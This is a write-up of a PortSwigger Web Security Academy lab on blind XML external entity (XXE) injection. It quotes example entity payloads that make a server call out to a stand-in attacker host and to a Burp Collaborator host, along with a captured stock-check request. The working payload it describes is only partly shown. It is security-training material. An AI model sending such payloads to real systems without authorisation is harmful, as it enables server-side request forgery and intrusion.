Blind XXE with out-of-band interaction
Blind XXE with out-of-band interaction
Platform: PortSwigger | Category: XXE | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, XXE
Summary
Walkthrough of the PortSwigger Web Security Academy lab Blind XXE with out-of-band interaction (XXE). This lab demonstrates a xxe vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — XXE
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Overview :
You can often detect blind XXE using the same technique as for XXE SSRF attacks but triggering the out-of-band network interaction to a system that you control. For example, you would define an external entity as follows:
xml read-only • copy allowed<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
You would then make use of the defined entity in a data value within the XML.
This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was successful.
Solution :
Clicking on checkstock feature send the following request,
xml read-only • copy allowedPOST /product/stock HTTP/1.1 Host: 0a5500920363ef3783ca2e3900dd000f.web-security-academy.net Cookie: session=N7UKKawFN8qZnb8SyEtJbdm5XyhRWxmQ User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://0a5500920363ef3783ca2e3900dd000f.web-security-academy.net/product?productId=1 Content-Type: application/xml Content-Length: 107 Origin: https://0a5500920363ef3783ca2e3900dd000f.web-security-academy.net Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close <?xml version="1.0" encoding="UTF-8"?> <stockCheck> <productId>1</productId> <storeId>1</storeId> </stockCheck>
To solve the lab we need to make an out bound request to our collaborator server to solve the lab.
For this we can use the following payload
xml read-only • copy allowed<!DOCTYPE root [<!ENTITY % ext SYSTEM "http://burp-collaborator.net/">]> <stockCheck> <productId>%ext;</productId> <storeId>1</storeId> </stockCheck>
But in the response we get an error stating that - Entities are not allowed for security reasons
So instead of using parameterized entities, we use normal entities.
The response states - Invalid product ID which is an indicator that there is no productID but still the application may have parsed the entity and made out-bound request to our burp collaborator server.
Now in our collaborator server, we can see that we have some DNS & HTTP requests made .
We have thus solved the lab.
Key Takeaways / Lessons
- Understanding XXE detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Blind XXE with out-of-band interaction